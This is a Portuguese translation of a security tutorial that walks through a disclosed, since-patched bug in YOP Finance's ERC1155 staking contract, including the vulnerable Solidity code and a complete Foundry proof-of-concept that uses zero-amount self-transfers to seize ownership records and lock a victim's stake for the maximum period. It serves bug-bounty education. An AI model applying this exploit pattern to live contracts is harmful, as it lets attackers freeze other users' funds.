Resumo
Na parte 2 deste tutorial (veja a parte 1 aqui), veremos como é uma prova de conceito (PoC) para uma vulnerabilidade do mundo real no Foundry. No restante deste tutorial, presumiremos que você configurou seu ambiente adequadamente.
Essa vulnerabilidade do mundo real é um bug que encontrei e divulguei na Immunefi para a YOP Finance no final de maio de 2022. A YOP Finance reagiu rapidamente, determinou que era de gravidade "alta", corrigiu o bug e pagou 37.500 USDC de recompensa. Isso mostra que a YOP Finance leva sua plataforma e a segurança dos usuários a sério. Para mais informações, confira o programa de recompensas por bugs da YOP Finance na Immunefi.
Este artigo foi escrito por cergyk.eth.
Introdução ao ERC1155
Primeiramente, precisamos explicar um pouco sobre o padrão ERC1155. Os tokens ERC1155 podem ser usados para descrever qualquer combinação de tokens fungíveis (ERC20) e não fungíveis (ERC721) dentro de um único contrato.
Por exemplo, o administrador do contrato pode definir que os IDs de 1 a 1000 representam NFTs. Ele os cunha com uma quantidade igual a um (amount = 1
). Em seguida, ele cunha um token com ID 1001 usando amount = 10**18
, o que significa que é um token fungível com um suprimento de 10**18.
Dessa forma, a lógica de transferência para este padrão se parece com isso (extraída das bibliotecas do OpenZeppelin):
.function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transferir para o endereco zero");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: saldo insuficiente para transferencia");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
Notamos o gancho _beforeTokenTransfer
, que permite que o implementador defina alguma contabilidade extra no contrato herdado.
Erro na Substituição do Gancho
No caso da YOP Finance, um tokenId
representa uma posição no contrato de staking, que podemos queimar para sacar os fundos em stake.
A YOP implementa o gancho _beforeTokenTransfer
da seguinte forma:
function _beforeTokenTransfer(
address,
address _from,
address _to,
uint256[] memory _ids,
uint256[] memory,
bytes memory
) internal override {
for (uint256 i = 0; i < _ids.length; i++) {
uint256 tokenId = _ids[i];
Stake storage s = stakes[tokenId];
s.lastTransferTime = _getBlockTimestamp();
uint256 balance = _workingBalanceOfStake(s);
if (_from != address(0)) {
totalWorkingSupply -= balance;
_removeValue(stakesForAddress[_from], tokenId);
owners[tokenId] = address(0);
}
if (_to != address(0)) {
totalWorkingSupply += balance;
stakesForAddress[_to].push(tokenId);
owners[tokenId] = _to;
} else {
// isso é uma queima, redefina os campos do registro do stake
delete stakes[tokenId];
}
}
}
Notou alguma coisa estranha?
O quarto argumento para esta função é ignorado. Consultamos a interface para ver que este é o array de quantidades (amounts
):
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
O que acontece se definirmos os valores como 0 e tentarmos transferir? É um NOOP (No Operation, uma instrução que pega um valor de qualquer tipo e não faz nada com ele, instrução Sem Operação) permitido no padrão ERC1155, mas isso altera os valores de contabilidade na implementação?
De fato, observamos que isso altera um valor de estado:
owners[tokenId] = _to;
Então, podemos simplesmente nos declarar proprietários de qualquer posição e sacar os fundos de qualquer posição de staking, certo? Não tão rápido!
Avaliação do impacto
Uma chamada para a função unstake
requer que queimemos exatamente um dos tokens, e é revertida porque, mesmo se estivermos na tabela de owners
(proprietários), temos um saldo zero do tokenId
.
Mas há outra coisa que podemos fazer, já que estamos na tabela de owners
apenas para o tokenId
. Vamos dar uma olhada na função extendStake
:
function extendStake(
uint256 _stakeId,
uint8 _additionalDuration,
uint248 _additionalAmount,
address[] calldata _vaultsToUpdate
) external nonReentrant {
_notPaused();
require(_additionalAmount > 0 || _additionalDuration > 0, "!parameters");
Stake storage stake = stakes[_stakeId];
require(owners[_stakeId] == _msgSender(), "!owner");
uint8 newLockPeriod = stake.lockPeriod;
if (_additionalDuration > 0) {
newLockPeriod = stake.lockPeriod + _additionalDuration;
require(newLockPeriod <= MAX_LOCK_PERIOD, "!duration");
} //... código não relacionado
}
Esta função verifica os owners
e nos permite definir um tempo adicional de bloqueio para o stakeId
! Isso se enquadra no impacto de bloquear os fundos do usuário por um período finito de tempo (obviamente muito grande neste caso!).
Vamos construir a PoC
Hora de construir a PoC no Foundry! Vamos relembrar a configuração do ambiente que iniciamos na parte 1. Vamos configurar os seguintes passos em nosso script:
- Crie uma posição de staking para o atacante;
- Use a vulnerabilidade em
_beforeTokenTransfer
para transferir qualquer posição de staking anterior do atacante para si mesmo; - Estender a duração do staking para a posição, pois temos a propriedade sobre ela;
- Use a vulnerabilidade em
_beforeTokenTransfer
para transferir a posição de staking criada pelo atacante de volta para ele, para recuperar seus fundos.
A PoC completa fica assim:
function testYopMaliciousLocking() public {
deal(address(yopToken), attacker1, 500 ether);
// Representar attacker1 para chamadas subsequentes para contratos
startHoax(attacker1);
uint8 lock_duration_months = 1;
uint realStakeId = 127;
uint additionalAmount = 0;
// Crie uma posição de staking
yopToken.approve(address(staking), 500 ether);
uint attackerStakeId = staking.stake(500 ether, 1);
staking.safeTransferFrom(attacker1, attacker1, realStakeId, additionalAmount, '');
// O stake com id 127 está bloqueado por 3 meses
uint8 lockTimeRealStakeId = 3;
// Bloqueamos o stake pela duração máxima
staking.extendStake(
realStakeId,
MAX_STAKE_DURATION_MONTHS-lockTimeRealStakeId,
0,
new address[](0)
);
// O bonito disso tudo é que o atacante pode recuperar o controle de seu stake.
staking.safeTransferFrom(attacker1, attacker1, attackerStakeId, additionalAmount, '');
// Truque-padrão para passar o tempo em segundos.
skip(lock_duration_months*SECONDS_PER_MONTH+1);
staking.unstakeSingle(attackerStakeId, attacker1);
}
Outro Bug Escondido
Um leitor atento pode perceber que não explicamos porque o atacante tem que criar uma posição de staking antes de fazer as transferências.
A causa reside em _removeValue
, chamado em _beforeTokenTransfer
:
function _removeValue(uint256[] storage _values, uint256 _val) internal {
uint256 i;
for (i = 0; i < _values.length; i++) {
if (_values[i] == _val) {
break;
}
}
for (; i < _values.length - 1; i++) {
_values[i] = _values[i + 1];
}
_values.pop();
}
A função é chamada na lista de posições mantidas pelo remetente para remover a posição de saída. Esta função contém outro erro, permitindo que a exploração inteira aconteça! Na verdade, em vez de reverter caso o elemento procurado não seja encontrado, a função remove o último elemento no array!
Inconveniência Adicional
No final da exploração, o atacante ainda é o proprietário da posição de staking da vítima. Assim sendo, nem o proprietário original nem o invasor podem sacá-lo diretamente. O usuário teria que usar a mesma tática do atacante para recuperar a posse dos fundos.
Código
O código para esta segunda parte está disponível no GitHub. Como a vulnerabilidade foi corrigida, certifique-se de fazer um fork no número de bloco especificado. ;)
Siga-me no Twitter para mais conteúdo de segurança Web3!
Este artigo foi escrito por cergyk.eth. Traduzido por Paulinho Giovannini.
Latest comments (0)